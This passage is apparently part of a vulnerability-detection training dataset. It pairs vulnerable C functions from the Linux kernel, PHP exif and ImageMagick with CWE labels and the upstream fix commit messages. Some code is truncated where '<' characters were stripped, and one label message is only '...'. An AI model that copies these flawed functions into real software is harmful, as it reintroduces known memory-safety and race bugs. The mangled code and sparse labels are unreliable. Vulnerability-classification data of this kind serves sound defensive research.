errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: brcmf_wowl_nd_results(struct brcmf_if *ifp, const struct brcmf_event_msg *e,\n\t\t void *data)\n{\n\tstruct brcmf_cfg80211_info *cfg = ifp->drvr->config;\n\tstruct wiphy *wiphy = cfg_to_wiphy(cfg);\n\tstruct brcmf_pno_scanresults_le *pfn_result;\n\tstruct brcmf_pno_net_info_le *netinfo;\n\n\tbrcmf_dbg(SCAN, \"Enter\\n\");\n\n\tif (e->datalen < (sizeof(*pfn_result) + sizeof(*netinfo))) {\n\t\tbrcmf_dbg(SCAN, \"Event data to small. Ignore\\n\");\n\t\treturn 0;\n\t}\n\n\tpfn_result = (struct brcmf_pno_scanresults_le *)data;\n\n\tif (e->event_code == BRCMF_E_PFN_NET_LOST) {\n\t\tbrcmf_dbg(SCAN, \"PFN NET LOST event. Ignore\\n\");\n\t\treturn 0;\n\t}\n\n\tif (le32_to_cpu(pfn_result->count) < 1) {\n\t\tbphy_err(wiphy, \"Invalid result count, expected 1 (%d)\\n\",\n\t\t\t le32_to_cpu(pfn_result->count));\n\t\treturn -EINVAL;\n\t}\n\n\tnetinfo = brcmf_get_netinfo_array(pfn_result);\n\tmemcpy(cfg->wowl.nd->ssid.ssid, netinfo->SSID, netinfo->SSID_len);\n\tcfg->wowl.nd->ssid.ssid_len = netinfo->SSID_len;\n\tcfg->wowl.nd->n_channels = 1;\n\tcfg->wowl.nd->channels[0] =\n\t\tieee80211_channel_to_frequency(netinfo->channel,\n\t\t\tnetinfo->channel <= CH_MAX_2G_CHANNEL ?\n\t\t\t\t\tNL80211_BAND_2GHZ : NL80211_BAND_5GHZ);\n\tcfg->wowl.nd_info->n_matches = 1;\n\tcfg->wowl.nd_info->matches[0] = cfg->wowl.nd;\n\n\t/* Inform (the resume task) that the net detect information was recvd */\n\tcfg->wowl.nd_data_completed = true;\n\twake_up(&cfg->wowl.nd_data_wait);\n\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'brcmfmac: assure SSID length from firmware is limited\n\nThe SSID length as received from firmware should not exceed\nIEEE80211_MAX_SSID_LEN as that would result in heap overflow.\n\nReviewed-by: Hante Meuleman \nReviewed-by: Pieter-Paul Giesberts \nReviewed-by: Franky Lin \nSigned-off-by: Arend van Spriel \nSigned-off-by: Kalle Valo '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void exif_process_COM (image_info_type *image_info, char *value, size_t length)\n{\n\texif_iif_add_tag(image_info, SECTION_COMMENT, \"Comment\", TAG_COMPUTED_VALUE, TAG_FMT_STRING, length-2, value+2);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'Fixed bug #77831 - Heap-buffer-overflow in exif_iif_add_value in EXIF'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int exif_process_IFD_in_MAKERNOTE(image_info_type *ImageInfo, char * value_ptr, int value_len, char *offset_base, size_t IFDlength, size_t displacement)\n{\n\tsize_t i;\n\tint de, section_index = SECTION_MAKERNOTE;\n\tint NumDirEntries, old_motorola_intel;\n#ifdef KALLE_0\n\tint offset_diff;\n#endif\n\tconst maker_note_type *maker_note;\n\tchar *dir_start;\n\tint data_len;\n\n\tfor (i=0; i<=sizeof(maker_note_array)/sizeof(maker_note_type); i++) {\n\t\tif (i==sizeof(maker_note_array)/sizeof(maker_note_type)) {\n#ifdef EXIF_DEBUG\n\t\t\texif_error_docref(NULL EXIFERR_CC, ImageInfo, E_NOTICE, \"No maker note data found. Detected maker: %s (length = %d)\", ImageInfo->make, strlen(ImageInfo->make));\n#endif\n\t\t\t/* unknown manufacturer, not an error, use it as a string */\n\t\t\treturn TRUE;\n\t\t}\n\n\t\tmaker_note = maker_note_array+i;\n\n\t\t/*exif_error_docref(NULL EXIFERR_CC, ImageInfo, E_NOTICE, \"check (%s,%s)\", maker_note->make?maker_note->make:\"\", maker_note->model?maker_note->model:\"\");*/\n\t\tif (maker_note->make && (!ImageInfo->make || strcmp(maker_note->make, ImageInfo->make)))\n\t\t\tcontinue;\n\t\tif (maker_note->model && (!ImageInfo->model || strcmp(maker_note->model, ImageInfo->model)))\n\t\t\tcontinue;\n\t\tif (maker_note->id_string && strncmp(maker_note->id_string, value_ptr, maker_note->id_string_len))\n\t\t\tcontinue;\n\t\tbreak;\n\t}\n\n\tif (value_len < 2 || maker_note->offset >= value_len - 1) {\n\t\t/* Do not go past the value end */\n\t\texif_error_docref(\"exif_read_data#error_ifd\" EXIFERR_CC, ImageInfo, E_WARNING, \"IFD data too short: 0x%04X offset 0x%04X\", value_len, maker_note->offset);\n\t\treturn FALSE;\n\t}\n\n\tdir_start = value_ptr + maker_note->offset;\n\n#ifdef EXIF_DEBUG\n\texif_error_docref(NULL EXIFERR_CC, ImageInfo, E_NOTICE, \"Process %s @x%04X + 0x%04X=%d: %s\", exif_get_sectionname(section_index), (int)dir_start-(int)offset_base+maker_note->offset+displacement, value_len, value_len, exif_char_dump(value_ptr, value_len, (int)dir_start-(int)offset_base+maker_note->offset+displacement));\n#endif\n\n\tImageInfo->sections_found |= FOUND_MAKERNOTE;\n\n\told_motorola_intel = ImageInfo->motorola_intel;\n\tswitch (maker_note->byte_order) {\n\t\tcase MN_ORDER_INTEL:\n\t\t\tImageInfo->motorola_intel = 0;\n\t\t\tbreak;\n\t\tcase MN_ORDER_MOTOROLA:\n\t\t\tImageInfo->motorola_intel = 1;\n\t\t\tbreak;\n\t\tdefault:\n\t\tcase MN_ORDER_NORMAL:\n\t\t\tbreak;\n\t}\n\n\tNumDirEntries = php_ifd_get16u(dir_start, ImageInfo->motorola_intel);\n\n\tswitch (maker_note->offset_mode) {\n\t\tcase MN_OFFSET_MAKER:\n\t\t\toffset_base = value_ptr;\n\t\t\tdata_len = value_len;\n\t\t\tbreak;\n#ifdef KALLE_0\n\t\tcase MN_OFFSET_GUESS:\n\t\t\tif (maker_note->offset + 10 + 4 >= value_len) {\n\t\t\t\t/* Can not read dir_start+10 since it's beyond value end */\n\t\t\t\texif_error_docref(\"exif_read_data#error_ifd\" EXIFERR_CC, ImageInfo, E_WARNING, \"IFD data too short: 0x%04X\", value_len);\n\t\t\t\treturn FALSE;\n\t\t\t}\n\t\t\toffset_diff = 2 + NumDirEntries*12 + 4 - php_ifd_get32u(dir_start+10, ImageInfo->motorola_intel);\n#ifdef EXIF_DEBUG\n\t\t\texif_error_docref(NULL EXIFERR_CC, ImageInfo, E_NOTICE, \"Using automatic offset correction: 0x%04X\", ((int)dir_start-(int)offset_base+maker_note->offset+displacement) + offset_diff);\n#endif\n\t\t\tif (offset_diff < 0 || offset_diff >= value_len ) {\n\t\t\t\texif_error_docref(\"exif_read_data#error_ifd\" EXIFERR_CC, ImageInfo, E_WARNING, \"IFD data bad offset: 0x%04X length 0x%04X\", offset_diff, value_len);\n\t\t\t\treturn FALSE;\n\t\t\t}\n\t\t\toffset_base = value_ptr + offset_diff;\n\t\t\tdata_len = value_len - offset_diff;\n\t\t\tbreak;\n#endif\n\t\tdefault:\n\t\tcase MN_OFFSET_NORMAL:\n\t\t\tdata_len = value_len;\n\t\t\tbreak;\n\t}\n\n\tif ((2+NumDirEntries*12) > value_len) {\n\t\texif_error_docref(\"exif_read_data#error_ifd\" EXIFERR_CC, ImageInfo, E_WARNING, \"Illegal IFD size: 2 + 0x%04X*12 = 0x%04X > 0x%04X\", NumDirEntries, 2+NumDirEntries*12, value_len);\n\t\treturn FALSE;\n\t}\n\n\tfor (de=0;detag_table)) {\n\t\t\treturn FALSE;\n\t\t}\n\t}\n\tImageInfo->motorola_intel = old_motorola_intel;\n/*\tNextDirOffset (must be NULL) = php_ifd_get32u(dir_start+2+12*de, ImageInfo->motorola_intel);*/\n#ifdef EXIF_DEBUG\n\texif_error_docref(NULL EXIFERR_CC, ImageInfo, E_NOTICE, \"Subsection %s done\", exif_get_sectionname(SECTION_MAKERNOTE));\n#endif\n\treturn TRUE;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'Fix bug #77753 - Heap-buffer-overflow in php_ifd_get32s'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int format8BIM(Image *ifile, Image *ofile)\n{\n char\n temp[MagickPathExtent];\n\n unsigned int\n foundOSType;\n\n int\n ID,\n resCount,\n i,\n c;\n\n ssize_t\n count;\n\n unsigned char\n *PString,\n *str;\n\n resCount=0;\n foundOSType=0; /* found the OSType */\n (void) foundOSType;\n c=ReadBlobByte(ifile);\n while (c != EOF)\n {\n if (c == '8')\n {\n unsigned char\n buffer[5];\n\n buffer[0]=(unsigned char) c;\n for (i=1; i<4; i++)\n {\n c=ReadBlobByte(ifile);\n if (c == EOF)\n return(-1);\n buffer[i] = (unsigned char) c;\n }\n buffer[4]=0;\n if (strcmp((const char *)buffer, \"8BIM\") == 0)\n foundOSType=1;\n else\n continue;\n }\n else\n {\n c=ReadBlobByte(ifile);\n continue;\n }\n /*\n We found the OSType (8BIM) and now grab the ID, PString, and Size fields.\n */\n ID=ReadBlobMSBSignedShort(ifile);\n if (ID < 0)\n return(-1);\n {\n unsigned char\n plen;\n\n c=ReadBlobByte(ifile);\n if (c == EOF)\n return(-1);\n plen = (unsigned char) c;\n PString=(unsigned char *) AcquireQuantumMemory((size_t) (plen+\n MagickPathExtent),sizeof(*PString));\n if (PString == (unsigned char *) NULL)\n return 0;\n for (i=0; i GetBlobSize(ifile)))\n {\n PString=(unsigned char *) RelinquishMagickMemory(PString);\n return -1;\n }\n /* make a buffer to hold the data and snag it from the input stream */\n str=(unsigned char *) AcquireQuantumMemory((size_t) count,sizeof(*str));\n if (str == (unsigned char *) NULL)\n {\n PString=(unsigned char *) RelinquishMagickMemory(PString);\n return 0;\n }\n for (i=0; i < (ssize_t) count; i++)\n {\n c=ReadBlobByte(ifile);\n if (c == EOF)\n {\n str=(unsigned char *) RelinquishMagickMemory(str);\n PString=(unsigned char *) RelinquishMagickMemory(PString);\n return -1;\n }\n str[i]=(unsigned char) c;\n }\n\n /* we currently skip thumbnails, since it does not make\n * any sense preserving them in a real world application\n */\n if (ID != THUMBNAIL_ID)\n {\n /* now finish up by formatting this binary data into\n * ASCII equivalent\n */\n if (strlen((const char *)PString) > 0)\n (void) FormatLocaleString(temp,MagickPathExtent,\"8BIM#%d#%s=\",ID,\n PString);\n else\n (void) FormatLocaleString(temp,MagickPathExtent,\"8BIM#%d=\",ID);\n (void) WriteBlobString(ofile,temp);\n if (ID == IPTC_ID)\n {\n formatString(ofile, \"IPTC\", 4);\n formatIPTCfromBuffer(ofile, (char *)str, (ssize_t) count);\n }\n else\n formatString(ofile, (char *)str, (ssize_t) count);\n }\n str=(unsigned char *) RelinquishMagickMemory(str);\n PString=(unsigned char *) RelinquishMagickMemory(PString);\n resCount++;\n c=ReadBlobByte(ifile);\n }\n return resCount;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-399', 'CWE-119', 'CWE-193'], 'message': '...'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: find_extend_vma(struct mm_struct *mm, unsigned long addr)\n{\n\tstruct vm_area_struct *vma, *prev;\n\n\taddr &= PAGE_MASK;\n\tvma = find_vma_prev(mm, addr, &prev);\n\tif (vma && (vma->vm_start <= addr))\n\t\treturn vma;\n\tif (!prev || expand_stack(prev, addr))\n\t\treturn NULL;\n\tif (prev->vm_flags & VM_LOCKED)\n\t\tpopulate_vma_page_range(prev, addr, prev->vm_end, NULL);\n\treturn prev;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-362', 'CWE-703', 'CWE-667'], 'message': 'coredump: fix race condition between mmget_not_zero()/get_task_mm() and core dumping\n\nThe core dumping code has always run without holding the mmap_sem for\nwriting, despite that is the only way to ensure that the entire vma\nlayout will not change from under it. Only using some signal\nserialization on the processes belonging to the mm is not nearly enough.\nThis was pointed out earlier. For example in Hugh's post from Jul 2017:\n\n https://lkml.kernel.org/r/alpine.LSU.2.11.1707191716030.2055@eggly.anvils\n\n \"Not strictly relevant here, but a related note: I was very surprised\n to discover, only quite recently, how handle_mm_fault() may be called\n without down_read(mmap_sem) - when core dumping. That seems a\n misguided optimization to me, which would also be nice to correct\"\n\nIn particular because the growsdown and growsup can move the\nvm_start/vm_end the various loops the core dump does around the vma will\nnot be consistent if page faults can happen concurrently.\n\nPretty much all users calling mmget_not_zero()/get_task_mm() and then\ntaking the mmap_sem had the potential to introduce unexpected side\neffects in the core dumping code.\n\nAdding mmap_sem for writing around the ->core_dump invocation is a\nviable long term fix, but it requires removing all copy user and page\nfaults and to replace them with get_dump_page() for all binary formats\nwhich is not suitable as a short term fix.\n\nFor the time being this solution manually covers the places that can\nconfuse the core dump either by altering the vma layout or the vma flags\nwhile it runs. Once ->core_dump runs under mmap_sem for writing the\nfunction mmget_still_valid() can be dropped.\n\nAllowing mmap_sem protected sections to run in parallel with the\ncoredump provides some minor parallelism advantage to the swapoff code\n(which seems to be safe enough by never mangling any vma field and can\nkeep doing swapins in parallel to the core dumping) and to some other\ncorner case.\n\nIn order to facilitate the backporting I added \"Fixes: 86039bd3b4e6\"\nhowever the side effect of this same race condition in /proc/pid/mem\nshould be reproducible since before 2.6.12-rc2 so I couldn't add any\nother \"Fixes:\" because there's no hash beyond the git genesis commit.\n\nBecause find_extend_vma() is the only location outside of the process\ncontext that could modify the \"mm\" structures under mmap_sem for\nreading, by adding the mmget_still_valid() check to it, all other cases\nthat take the mmap_sem for reading don't need the new check after\nmmget_not_zero()/get_task_mm(). The expand_stack() in page fault\ncontext also doesn't need the new check, because all tasks under core\ndumping are frozen.\n\nLink: http://lkml.kernel.org/r/20190325224949.11068-1-aarcange@redhat.com\nFixes: 86039bd3b4e6 (\"userfaultfd: add new syscall to provide memory externalization\")\nSigned-off-by: Andrea Arcangeli \nReported-by: Jann Horn \nSuggested-by: Oleg Nesterov \nAcked-by: Peter Xu \nReviewed-by: Mike Rapoport \nReviewed-by: Oleg Nesterov \nReviewed-by: Jann Horn \nAcked-by: Jason Gunthorpe \nAcked-by: Michal Hocko \nCc: \nSigned-off-by: Andrew Morton \nSigned-off-by: Linus Torvalds '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int exif_process_IFD_TAG(image_info_type *ImageInfo, char *dir_entry, char *offset_base, size_t IFDlength, size_t displacement, int section_index, int ReadNextIFD, tag_table_type tag_table)\n{\n\tsize_t length;\n\tunsigned int tag, format, components;\n\tchar *value_ptr, tagname[64], cbuf[32], *outside=NULL;\n\tsize_t byte_count, offset_val, fpos, fgot;\n\tint64_t byte_count_signed;\n\txp_field_type *tmp_xp;\n#ifdef EXIF_DEBUG\n\tchar *dump_data;\n\tint dump_free;\n#endif /* EXIF_DEBUG */\n\n\t/* Protect against corrupt headers */\n\tif (ImageInfo->ifd_nesting_level > MAX_IFD_NESTING_LEVEL) {\n\t\texif_error_docref(\"exif_read_data#error_ifd\" EXIFERR_CC, ImageInfo, E_WARNING, \"corrupt EXIF header: maximum directory nesting level reached\");\n\t\treturn FALSE;\n\t}\n\tImageInfo->ifd_nesting_level++;\n\n\ttag = php_ifd_get16u(dir_entry, ImageInfo->motorola_intel);\n\tformat = php_ifd_get16u(dir_entry+2, ImageInfo->motorola_intel);\n\tcomponents = php_ifd_get32u(dir_entry+4, ImageInfo->motorola_intel);\n\n\tif (!format || format > NUM_FORMATS) {\n\t\t/* (-1) catches illegal zero case as unsigned underflows to positive large. */\n\t\texif_error_docref(\"exif_read_data#error_ifd\" EXIFERR_CC, ImageInfo, E_WARNING, \"Process tag(x%04X=%s): Illegal format code 0x%04X, suppose BYTE\", tag, exif_get_tagname(tag, tagname, -12, tag_table), format);\n\t\tformat = TAG_FMT_BYTE;\n\t\t/*return TRUE;*/\n\t}\n\n\tif (components < 0) {\n\t\texif_error_docref(\"exif_read_data#error_ifd\" EXIFERR_CC, ImageInfo, E_WARNING, \"Process tag(x%04X=%s): Illegal components(%d)\", tag, exif_get_tagname(tag, tagname, -12, tag_table), components);\n\t\treturn FALSE;\n\t}\n\n\tbyte_count_signed = (int64_t)components * php_tiff_bytes_per_format[format];\n\n\tif (byte_count_signed < 0 || (byte_count_signed > INT32_MAX)) {\n\t\texif_error_docref(\"exif_read_data#error_ifd\" EXIFERR_CC, ImageInfo, E_WARNING, \"Process tag(x%04X=%s): Illegal byte_count\", tag, exif_get_tagname(tag, tagname, -12, tag_table));\n\t\treturn FALSE;\n\t}\n\n\tbyte_count = (size_t)byte_count_signed;\n\n\tif (byte_count > 4) {\n\t\toffset_val = php_ifd_get32u(dir_entry+8, ImageInfo->motorola_intel);\n\t\t/* If its bigger than 4 bytes, the dir entry contains an offset. */\n\t\tvalue_ptr = offset_base+offset_val;\n /*\n dir_entry is ImageInfo->file.list[sn].data+2+i*12\n offset_base is ImageInfo->file.list[sn].data-dir_offset\n dir_entry - offset_base is dir_offset+2+i*12\n */\n\t\tif (byte_count > IFDlength || offset_val > IFDlength-byte_count || value_ptr < dir_entry || offset_val < (size_t)(dir_entry-offset_base)) {\n\t\t\t/* It is important to check for IMAGE_FILETYPE_TIFF\n\t\t\t * JPEG does not use absolute pointers instead its pointers are\n\t\t\t * relative to the start of the TIFF header in APP1 section. */\n\t\t\tif (byte_count > ImageInfo->FileSize || offset_val>ImageInfo->FileSize-byte_count || (ImageInfo->FileType!=IMAGE_FILETYPE_TIFF_II && ImageInfo->FileType!=IMAGE_FILETYPE_TIFF_MM && ImageInfo->FileType!=IMAGE_FILETYPE_JPEG)) {\n\t\t\t\tif (value_ptr < dir_entry) {\n\t\t\t\t\t/* we can read this if offset_val > 0 */\n\t\t\t\t\t/* some files have their values in other parts of the file */\n\t\t\t\t\texif_error_docref(\"exif_read_data#error_ifd\" EXIFERR_CC, ImageInfo, E_WARNING, \"Process tag(x%04X=%s): Illegal pointer offset(x%04X < x%04X)\", tag, exif_get_tagname(tag, tagname, -12, tag_table), offset_val, dir_entry);\n\t\t\t\t} else {\n\t\t\t\t\t/* this is for sure not allowed */\n\t\t\t\t\t/* exception are IFD pointers */\n\t\t\t\t\texif_error_docref(\"exif_read_data#error_ifd\" EXIFERR_CC, ImageInfo, E_WARNING, \"Process tag(x%04X=%s): Illegal pointer offset(x%04X + x%04X = x%04X > x%04X)\", tag, exif_get_tagname(tag, tagname, -12, tag_table), offset_val, byte_count, offset_val+byte_count, IFDlength);\n\t\t\t\t}\n\t\t\t\treturn FALSE;\n\t\t\t}\n\t\t\tif (byte_count>sizeof(cbuf)) {\n\t\t\t\t/* mark as outside range and get buffer */\n\t\t\t\tvalue_ptr = safe_emalloc(byte_count, 1, 0);\n\t\t\t\toutside = value_ptr;\n\t\t\t} else {\n\t\t\t\t/* In most cases we only access a small range so\n\t\t\t\t * it is faster to use a static buffer there\n\t\t\t\t * BUT it offers also the possibility to have\n\t\t\t\t * pointers read without the need to free them\n\t\t\t\t * explicitley before returning. */\n\t\t\t\tmemset(&cbuf, 0, sizeof(cbuf));\n\t\t\t\tvalue_ptr = cbuf;\n\t\t\t}\n\n\t\t\tfpos = php_stream_tell(ImageInfo->infile);\n\t\t\tphp_stream_seek(ImageInfo->infile, displacement+offset_val, SEEK_SET);\n\t\t\tfgot = php_stream_tell(ImageInfo->infile);\n\t\t\tif (fgot!=displacement+offset_val) {\n\t\t\t\tEFREE_IF(outside);\n\t\t\t\texif_error_docref(NULL EXIFERR_CC, ImageInfo, E_WARNING, \"Wrong file pointer: 0x%08X != 0x%08X\", fgot, displacement+offset_val);\n\t\t\t\treturn FALSE;\n\t\t\t}\n\t\t\tfgot = php_stream_read(ImageInfo->infile, value_ptr, byte_count);\n\t\t\tphp_stream_seek(ImageInfo->infile, fpos, SEEK_SET);\n\t\t\tif (fgotsections_found |= FOUND_ANY_TAG;\n#ifdef EXIF_DEBUG\n\tdump_data = exif_dump_data(&dump_free, format, components, length, ImageInfo->motorola_intel, value_ptr);\n\texif_error_docref(NULL EXIFERR_CC, ImageInfo, E_NOTICE, \"Process tag(x%04X=%s,@x%04X + x%04X(=%d)): %s%s %s\", tag, exif_get_tagname(tag, tagname, -12, tag_table), offset_val+displacement, byte_count, byte_count, (components>1)&&format!=TAG_FMT_UNDEFINED&&format!=TAG_FMT_STRING?\"ARRAY OF \":\"\", exif_get_tagformat(format), dump_data);\n\tif (dump_free) {\n\t\tefree(dump_data);\n\t}\n#endif\n\n\tif (section_index==SECTION_THUMBNAIL) {\n\t\tif (!ImageInfo->Thumbnail.data) {\n\t\t\tswitch(tag) {\n\t\t\t\tcase TAG_IMAGEWIDTH:\n\t\t\t\tcase TAG_COMP_IMAGE_WIDTH:\n\t\t\t\t\tImageInfo->Thumbnail.width = exif_convert_any_to_int(value_ptr, format, ImageInfo->motorola_intel);\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase TAG_IMAGEHEIGHT:\n\t\t\t\tcase TAG_COMP_IMAGE_HEIGHT:\n\t\t\t\t\tImageInfo->Thumbnail.height = exif_convert_any_to_int(value_ptr, format, ImageInfo->motorola_intel);\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase TAG_STRIP_OFFSETS:\n\t\t\t\tcase TAG_JPEG_INTERCHANGE_FORMAT:\n\t\t\t\t\t/* accept both formats */\n\t\t\t\t\tImageInfo->Thumbnail.offset = exif_convert_any_to_int(value_ptr, format, ImageInfo->motorola_intel);\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase TAG_STRIP_BYTE_COUNTS:\n\t\t\t\t\tif (ImageInfo->FileType == IMAGE_FILETYPE_TIFF_II || ImageInfo->FileType == IMAGE_FILETYPE_TIFF_MM) {\n\t\t\t\t\t\tImageInfo->Thumbnail.filetype = ImageInfo->FileType;\n\t\t\t\t\t} else {\n\t\t\t\t\t\t/* motorola is easier to read */\n\t\t\t\t\t\tImageInfo->Thumbnail.filetype = IMAGE_FILETYPE_TIFF_MM;\n\t\t\t\t\t}\n\t\t\t\t\tImageInfo->Thumbnail.size = exif_convert_any_to_int(value_ptr, format, ImageInfo->motorola_intel);\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase TAG_JPEG_INTERCHANGE_FORMAT_LEN:\n\t\t\t\t\tif (ImageInfo->Thumbnail.filetype == IMAGE_FILETYPE_UNKNOWN) {\n\t\t\t\t\t\tImageInfo->Thumbnail.filetype = IMAGE_FILETYPE_JPEG;\n\t\t\t\t\t\tImageInfo->Thumbnail.size = exif_convert_any_to_int(value_ptr, format, ImageInfo->motorola_intel);\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t} else {\n\t\tif (section_index==SECTION_IFD0 || section_index==SECTION_EXIF)\n\t\tswitch(tag) {\n\t\t\tcase TAG_COPYRIGHT:\n\t\t\t\t/* check for \" NUL NUL\" */\n\t\t\t\tif (byte_count>1 && (length=php_strnlen(value_ptr, byte_count)) > 0) {\n\t\t\t\t\tif (lengthCopyrightPhotographer = estrdup(value_ptr);\n\t\t\t\t\t\tImageInfo->CopyrightEditor = estrndup(value_ptr+length+1, byte_count-length-1);\n\t\t\t\t\t\tspprintf(&ImageInfo->Copyright, 0, \"%s, %s\", ImageInfo->CopyrightPhotographer, ImageInfo->CopyrightEditor);\n\t\t\t\t\t\t/* format = TAG_FMT_UNDEFINED; this musn't be ASCII */\n\t\t\t\t\t\t/* but we are not supposed to change this */\n\t\t\t\t\t\t/* keep in mind that image_info does not store editor value */\n\t\t\t\t\t} else {\n\t\t\t\t\t\tImageInfo->Copyright = estrndup(value_ptr, byte_count);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\tcase TAG_USERCOMMENT:\n\t\t\t\tImageInfo->UserCommentLength = exif_process_user_comment(ImageInfo, &(ImageInfo->UserComment), &(ImageInfo->UserCommentEncoding), value_ptr, byte_count);\n\t\t\t\tbreak;\n\n\t\t\tcase TAG_XP_TITLE:\n\t\t\tcase TAG_XP_COMMENTS:\n\t\t\tcase TAG_XP_AUTHOR:\n\t\t\tcase TAG_XP_KEYWORDS:\n\t\t\tcase TAG_XP_SUBJECT:\n\t\t\t\ttmp_xp = (xp_field_type*)safe_erealloc(ImageInfo->xp_fields.list, (ImageInfo->xp_fields.count+1), sizeof(xp_field_type), 0);\n\t\t\t\tImageInfo->sections_found |= FOUND_WINXP;\n\t\t\t\tImageInfo->xp_fields.list = tmp_xp;\n\t\t\t\tImageInfo->xp_fields.count++;\n\t\t\t\texif_process_unicode(ImageInfo, &(ImageInfo->xp_fields.list[ImageInfo->xp_fields.count-1]), tag, value_ptr, byte_count);\n\t\t\t\tbreak;\n\n\t\t\tcase TAG_FNUMBER:\n\t\t\t\t/* Simplest way of expressing aperture, so I trust it the most.\n\t\t\t\t (overwrite previously computed value if there is one) */\n\t\t\t\tImageInfo->ApertureFNumber = (float)exif_convert_any_format(value_ptr, format, ImageInfo->motorola_intel);\n\t\t\t\tbreak;\n\n\t\t\tcase TAG_APERTURE:\n\t\t\tcase TAG_MAX_APERTURE:\n\t\t\t\t/* More relevant info always comes earlier, so only use this field if we don't\n\t\t\t\t have appropriate aperture information yet. */\n\t\t\t\tif (ImageInfo->ApertureFNumber == 0) {\n\t\t\t\t\tImageInfo->ApertureFNumber\n\t\t\t\t\t\t= (float)exp(exif_convert_any_format(value_ptr, format, ImageInfo->motorola_intel)*log(2)*0.5);\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\tcase TAG_SHUTTERSPEED:\n\t\t\t\t/* More complicated way of expressing exposure time, so only use\n\t\t\t\t this value if we don't already have it from somewhere else.\n\t\t\t\t SHUTTERSPEED comes after EXPOSURE TIME\n\t\t\t\t */\n\t\t\t\tif (ImageInfo->ExposureTime == 0) {\n\t\t\t\t\tImageInfo->ExposureTime\n\t\t\t\t\t\t= (float)(1/exp(exif_convert_any_format(value_ptr, format, ImageInfo->motorola_intel)*log(2)));\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase TAG_EXPOSURETIME:\n\t\t\t\tImageInfo->ExposureTime = -1;\n\t\t\t\tbreak;\n\n\t\t\tcase TAG_COMP_IMAGE_WIDTH:\n\t\t\t\tImageInfo->ExifImageWidth = exif_convert_any_to_int(value_ptr, format, ImageInfo->motorola_intel);\n\t\t\t\tbreak;\n\n\t\t\tcase TAG_FOCALPLANE_X_RES:\n\t\t\t\tImageInfo->FocalplaneXRes = exif_convert_any_format(value_ptr, format, ImageInfo->motorola_intel);\n\t\t\t\tbreak;\n\n\t\t\tcase TAG_SUBJECT_DISTANCE:\n\t\t\t\t/* Inidcates the distacne the autofocus camera is focused to.\n\t\t\t\t Tends to be less accurate as distance increases. */\n\t\t\t\tImageInfo->Distance = (float)exif_convert_any_format(value_ptr, format, ImageInfo->motorola_intel);\n\t\t\t\tbreak;\n\n\t\t\tcase TAG_FOCALPLANE_RESOLUTION_UNIT:\n\t\t\t\tswitch((int)exif_convert_any_format(value_ptr, format, ImageInfo->motorola_intel)) {\n\t\t\t\t\tcase 1: ImageInfo->FocalplaneUnits = 25.4; break; /* inch */\n\t\t\t\t\tcase 2:\n\t\t\t\t\t\t/* According to the information I was using, 2 measn meters.\n\t\t\t\t\t\t But looking at the Cannon powershot's files, inches is the only\n\t\t\t\t\t\t sensible value. */\n\t\t\t\t\t\tImageInfo->FocalplaneUnits = 25.4;\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase 3: ImageInfo->FocalplaneUnits = 10; break; /* centimeter */\n\t\t\t\t\tcase 4: ImageInfo->FocalplaneUnits = 1; break; /* milimeter */\n\t\t\t\t\tcase 5: ImageInfo->FocalplaneUnits = .001; break; /* micrometer */\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\tcase TAG_SUB_IFD:\n\t\t\t\tif (format==TAG_FMT_IFD) {\n\t\t\t\t\t/* If this is called we are either in a TIFFs thumbnail or a JPEG where we cannot handle it */\n\t\t\t\t\t/* TIFF thumbnail: our data structure cannot store a thumbnail of a thumbnail */\n\t\t\t\t\t/* JPEG do we have the data area and what to do with it */\n\t\t\t\t\texif_error_docref(NULL EXIFERR_CC, ImageInfo, E_NOTICE, \"Skip SUB IFD\");\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\tcase TAG_MAKE:\n\t\t\t\tImageInfo->make = estrndup(value_ptr, byte_count);\n\t\t\t\tbreak;\n\t\t\tcase TAG_MODEL:\n\t\t\t\tImageInfo->model = estrndup(value_ptr, byte_count);\n\t\t\t\tbreak;\n\n\t\t\tcase TAG_MAKER_NOTE:\n\t\t\t\tif (!exif_process_IFD_in_MAKERNOTE(ImageInfo, value_ptr, byte_count, offset_base, IFDlength, displacement)) {\n\t\t\t\t\tEFREE_IF(outside);\n\t\t\t\t\treturn 